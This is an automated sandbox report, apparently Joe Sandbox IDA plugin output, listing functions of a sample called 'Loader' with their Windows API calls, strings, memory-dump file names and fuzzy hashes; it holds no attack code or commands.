Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: BEB1197265068AAFDB60CF69CC80BDA73A5FF88714F158164EA0CAB341D770FA51CB94

Function 002A1D60 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 161
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 002A1DA0
CreateFileA.KERNELBASE ref: 002A1DF9
GetFileSize.KERNEL32 ref: 002A1E28
CloseHandle.KERNEL32 ref: 002A1E44

Strings

CreateFileA, xrefs: 002A1D93
.bss, xrefs: 002A1F4D

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: File$AddressCloseCreateHandleProcSize
String ID: .bss$CreateFileA
API String ID: 2547132502-2231744822
Opcode ID: 0d2fccd01840c9be2537270730223f92c68378e9c0c4bcabbab06c3e47172f57
Instruction ID: f306439cce8e6f0c5ba791ae0bc4a9148705a010d98be24bbabee87634da760a
Opcode Fuzzy Hash: 0d2fccd01840c9be2537270730223f92c68378e9c0c4bcabbab06c3e47172f57
Instruction Fuzzy Hash: 4371BFB4D14249CFDB00DFA8D588BAEBBF0BF49314F108429E855AB350D774A969CF52

Function 002A1C10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 002A1CCE
VirtualProtect.KERNELBASE ref: 002A1D23

Strings

@, xrefs: 002A1D17
VirtualProtect, xrefs: 002A1CC1

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: AddressProcProtectVirtual
String ID: @$VirtualProtect
API String ID: 3759838892-29487290
Opcode ID: 2ffb873451b8dc42cfa5284d220937cbbf0f6933b10bd486c4d990f93e0b6280
Instruction ID: 932f930a9d65b8bf0f05ab910825c9bc38c5b5d0cf305bd5993d48030f0370f4
Opcode Fuzzy Hash: 2ffb873451b8dc42cfa5284d220937cbbf0f6933b10bd486c4d990f93e0b6280
Instruction Fuzzy Hash: 9141E4B0D10209DFDB04DFA9E59869EBBF0FF48358F10842AE848AB350D7759954CF91

Function 002C9E94 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002CA23E: GetConsoleOutputCP.KERNEL32(83182907,00000000,00000000,?), ref: 002CA2A1

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,002BA3B2,?,002BA614), ref: 002CA019
GetLastError.KERNEL32(?,002BA3B2,?,002BA614,?,002BA614,?,?,?,?,?,?,?,00000000,?,?), ref: 002CA023

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 27b7ea10fccd0cce891f962bbeb33cfbc20b194d40a44986006a82999b407d69
Instruction ID: e37cf94d349c62fbd642ad682027a6020a7cfb2952c6051709a0a2b07597cdbc
Opcode Fuzzy Hash: 27b7ea10fccd0cce891f962bbeb33cfbc20b194d40a44986006a82999b407d69
Instruction Fuzzy Hash: 1161B47192015EAFDF11CFA8C888FEE7BB9AF49348F14024DE804A7251D372D961CB61

Function 002CA66D Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,002C9FFF,?,002BA614,?,?,?,00000000), ref: 002CA709
GetLastError.KERNEL32(?,002C9FFF,?,002BA614,?,?,?,00000000,?,?,?,?,?,002BA3B2,?,002BA614), ref: 002CA72F

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 4174fcfadaea6e140818e0a876434f813e8f4d3559394482e10c99d8d1788483
Instruction ID: b348be0dde4d4e301d2a1275282992b77a36525740b9e5e0d7afd0216a85785c
Opcode Fuzzy Hash: 4174fcfadaea6e140818e0a876434f813e8f4d3559394482e10c99d8d1788483
Instruction Fuzzy Hash: 8221D030A1025C8FCF15CF29DC80AEDB7B9EB48309F2441ADE94AD7211D630DE56CB61

Function 002C3D32 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,002C3C21,002E41E0,0000000C), ref: 002C3D7E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,002C3C21,002E41E0,0000000C), ref: 002C3D90

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 93ad3ea04e2d86050bcce767740e130af25fef7acc8dfa8706afb3d9bea85988
Instruction ID: 9590fde62a6c6fd67a06d80db0279aaa0b1a9f6820175f8a403e62f4204f9baa
Opcode Fuzzy Hash: 93ad3ea04e2d86050bcce767740e130af25fef7acc8dfa8706afb3d9bea85988
Instruction Fuzzy Hash: CA11B4712247428ACB30CE3E9CC8F22BAA4A757331B384F1DE5B7861F1C670DA66D251

Function 002A21C0 Relevance: 3.1, APIs: 2, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 002A2272
EqualSid.ADVAPI32 ref: 002A2288

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ConsoleEqualFree
String ID:
API String ID: 2476253921-0
Opcode ID: 96ee0b6dc1d168c908d2af69f23314b790b6249d52b2418914d0a0f7e078b7f4
Instruction ID: 4ebe05931b9847dd5fcd23326766bb48767ebbbc0269b92e6344dd9cfb885fd2
Opcode Fuzzy Hash: 96ee0b6dc1d168c908d2af69f23314b790b6249d52b2418914d0a0f7e078b7f4
Instruction Fuzzy Hash: 0B21BBB0510B448FC320DF2AD995746BBF0FB09714F404A2DE5AA8BB90D775B918CF91

Function 002A1FC0 Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 002A1FE8
GetModuleFileNameW.KERNEL32 ref: 002A2008

Part of subcall function 002A1D60: GetProcAddress.KERNEL32 ref: 002A1DA0
Part of subcall function 002A1D60: CreateFileA.KERNELBASE ref: 002A1DF9

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: FileModule$AddressCreateHandleNameProc
String ID:
API String ID: 4167556020-0
Opcode ID: b0e07f0f9c78536936a4040b7dd85bbc9238ce82850f4eded41316bddd4fc122
Instruction ID: cde38bd7eecae778cc59da5bb8ad9fd6bfe798efcd82ac320daf24f4a459269c
Opcode Fuzzy Hash: b0e07f0f9c78536936a4040b7dd85bbc9238ce82850f4eded41316bddd4fc122
Instruction Fuzzy Hash: 21012CB09043088FD714EF68E58979EBBF4EB08300F4045ADE489C7341EB305A98CF52

Function 002C2257 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,002C6554,?,00000000,?,?,002C61F4,?,00000007,?,?,002C6B3A,?,?), ref: 002C226D
GetLastError.KERNEL32(?,?,002C6554,?,00000000,?,?,002C61F4,?,00000007,?,?,002C6B3A,?,?), ref: 002C2278

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 73b46e592f085bef7876e13212d12ed4dbf433ae67f45175c629c896decc332d
Instruction ID: c6a1dd7c975154fce2079aee1abc82b2d5e2794abe9688673c4318a1ea97ae2d
Opcode Fuzzy Hash: 73b46e592f085bef7876e13212d12ed4dbf433ae67f45175c629c896decc332d
Instruction Fuzzy Hash: ACE08C32140249ABDB216FA0BC0CBD93BD9AF10791F540624FA0C8E064EE34C8A0CB94

Function 002A14C0 Relevance: 1.8, APIs: 1, Instructions: 308
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 002A150B

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 73814705237dc3b7d235e0eee8f4790636fed67be2a7a0423a39db17ba691769
Instruction ID: 7d4886cbfa0dedd6d8be7f784aec4242fc20bdf7417ef38e15215096a1a84f8e
Opcode Fuzzy Hash: 73814705237dc3b7d235e0eee8f4790636fed67be2a7a0423a39db17ba691769
Instruction Fuzzy Hash: 9ED116B4624B408FC724DF28C555A66BBE0BF0A724F148A1DE8978BB91DB74F924CF41

Function 002B4C50 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc931ca2d226611f7783f908e06a002ac17e6b180c7d76514a67395ba38099d2
Instruction ID: 821ba11b866be477a5ca7f9002f7fedf670168bc0fc28498e3479124dd8cbd76
Opcode Fuzzy Hash: bc931ca2d226611f7783f908e06a002ac17e6b180c7d76514a67395ba38099d2
Instruction Fuzzy Hash: BE41A031A2011BAFCB14EFA8C4909EDB7B9FF49384B54412AE441E7651EB30E960CB90

Function 002B3370 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002B32D7: GetModuleHandleExW.KERNEL32(00000002,00000000,?,?,?,002B329A,?,?,002B326B,?), ref: 002B32E3

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,83182907,?,?,?,002D2EA9,000000FF), ref: 002B33D7

Part of subcall function 002A8520: std::_Throw_Cpp_error.LIBCPMT ref: 002A854C
Part of subcall function 002A8520: std::_Throw_Cpp_error.LIBCPMT ref: 002A8568

Part of subcall function 002B5CC2: ReleaseSRWLockExclusive.KERNEL32(?,?,?,002A85E9,?,002AE853), ref: 002B5CD7

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CallbackExclusiveFreeHandleLibraryLockModuleReleaseReturnsWhen
String ID:
API String ID: 1423221283-0
Opcode ID: e449033ec803dd6e4e567f6df4686e2b5cbdd21bf9c5066fbf6a8ed998481a1d
Instruction ID: 6016d882a23d90d3968e3d7c6686cebef577b09d2a559672a922699446d5354d
Opcode Fuzzy Hash: e449033ec803dd6e4e567f6df4686e2b5cbdd21bf9c5066fbf6a8ed998481a1d
Instruction Fuzzy Hash: A5110832B546509BCB25AF25EC45AAE77A9EF417A0B10401BF8119B7A0EF34DD208B80

Function 002C2291 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,002C4215,?,?,002C4215,00000220,?,?,?), ref: 002C22C3

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7d5b0e281ef31416c3edc7259537187b76d3af397bb5612722ba0abf101cec3b
Instruction ID: 626da40c8a6debb051595c5d2c1daf85779d7140a7dd3e921a3dccf7ad0f5772
Opcode Fuzzy Hash: 7d5b0e281ef31416c3edc7259537187b76d3af397bb5612722ba0abf101cec3b
Instruction Fuzzy Hash: 07E06531171622D6FB317E759C04F9A3689AF52BF0F154229AC459A194DF70CC2485B2

Function 002AF650 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 002AF671

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 78d222f30fe4af7acba57dc17c0e0da55023640b143066ddb14888aca95ca0e1
Instruction ID: 3ff2768487befb09890d2e766c5708edf4c73485a680383a97cb9e2887667576
Opcode Fuzzy Hash: 78d222f30fe4af7acba57dc17c0e0da55023640b143066ddb14888aca95ca0e1
Instruction Fuzzy Hash: 3BF0F874D10208DFCB44EFE8D6415BDB7B4AF49300F1041AAE856A7352DB35AE20CF61

Function 002A8E20 Relevance: 1.5, APIs: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 002A8E41

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 9d45928fdd84c889956989c41f28de3d03830cd04eaa18f1e1dea83ba63d1314
Instruction ID: 899ffc8cd623270b2679b7bfda0af7f16089426c6ef41aa1291ac335c415a61b
Opcode Fuzzy Hash: 9d45928fdd84c889956989c41f28de3d03830cd04eaa18f1e1dea83ba63d1314
Instruction Fuzzy Hash: 04F0F874D10209DFCB04EFA8D6854ADB7B4AF49310F1040A9E81AA7351DF31AE20CF51

Non-executed Functions

Function 002C7527 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002C24EA: GetLastError.KERNEL32(00000000,?,002C486D), ref: 002C24EE
Part of subcall function 002C24EA: SetLastError.KERNEL32(00000000,?,?,00000028,002BEB13), ref: 002C2590

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 002C762F
IsValidCodePage.KERNEL32(00000000), ref: 002C766D
IsValidLocale.KERNEL32(?,00000001), ref: 002C7680
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 002C76C8
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 002C76E3

Strings

P.USA, xrefs: 002C758C

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: P.USA
API String ID: 415426439-1155953425
Opcode ID: c2bf2b69d15c301f4b5f3fe5f7e54ed4af9a5c184505a7c4a6d2c1ffe27fac9c
Instruction ID: 1e4ae9939acd59a940f4c2a32a3a8162ad55602b8553b2fc879339d3d172f35b
Opcode Fuzzy Hash: c2bf2b69d15c301f4b5f3fe5f7e54ed4af9a5c184505a7c4a6d2c1ffe27fac9c
Instruction Fuzzy Hash: 88517471A2460A9BDB11DFA5CC85FBEB3B8BF08700F54466DE905D7190E7709924CF60

Function 002C7CA7 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,]v,,00000002,00000000,?,?,?,002C765D,?,00000000), ref: 002C7D40
GetLocaleInfoW.KERNEL32(?,20001004,]v,,00000002,00000000,?,?,?,002C765D,?,00000000), ref: 002C7D69
GetACP.KERNEL32(?,?,002C765D,?,00000000), ref: 002C7D7E

Strings

OCP, xrefs: 002C7CFB
]v,, xrefs: 002C7D5A, 002C7D77, 002C7D31, 002C7D4A, 002C7D34, 002C7D5D
ACP, xrefs: 002C7CC5

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP$]v,
API String ID: 2299586839-95904570
Opcode ID: 2d05074db226e74bf87e448518913a3b56a8cd310ec68aa4c9c022ed7bfc94d7
Instruction ID: 904211894d4de61cdca3c8560af11194dc971622c4d18b1901ebc8ecd7eaab86
Opcode Fuzzy Hash: 2d05074db226e74bf87e448518913a3b56a8cd310ec68aa4c9c022ed7bfc94d7
Instruction Fuzzy Hash: D621C132628147A7EB348F25C900FA773A6EF54B50F56826CE80BDB114E772DE61CB90

Function 002CDFC2 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 002CE1D9

Strings

1#SNAN, xrefs: 002CE0CE
1#INF, xrefs: 002CE0F8
1#QNAN, xrefs: 002CE0D5
1#IND, xrefs: 002CE0C7

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

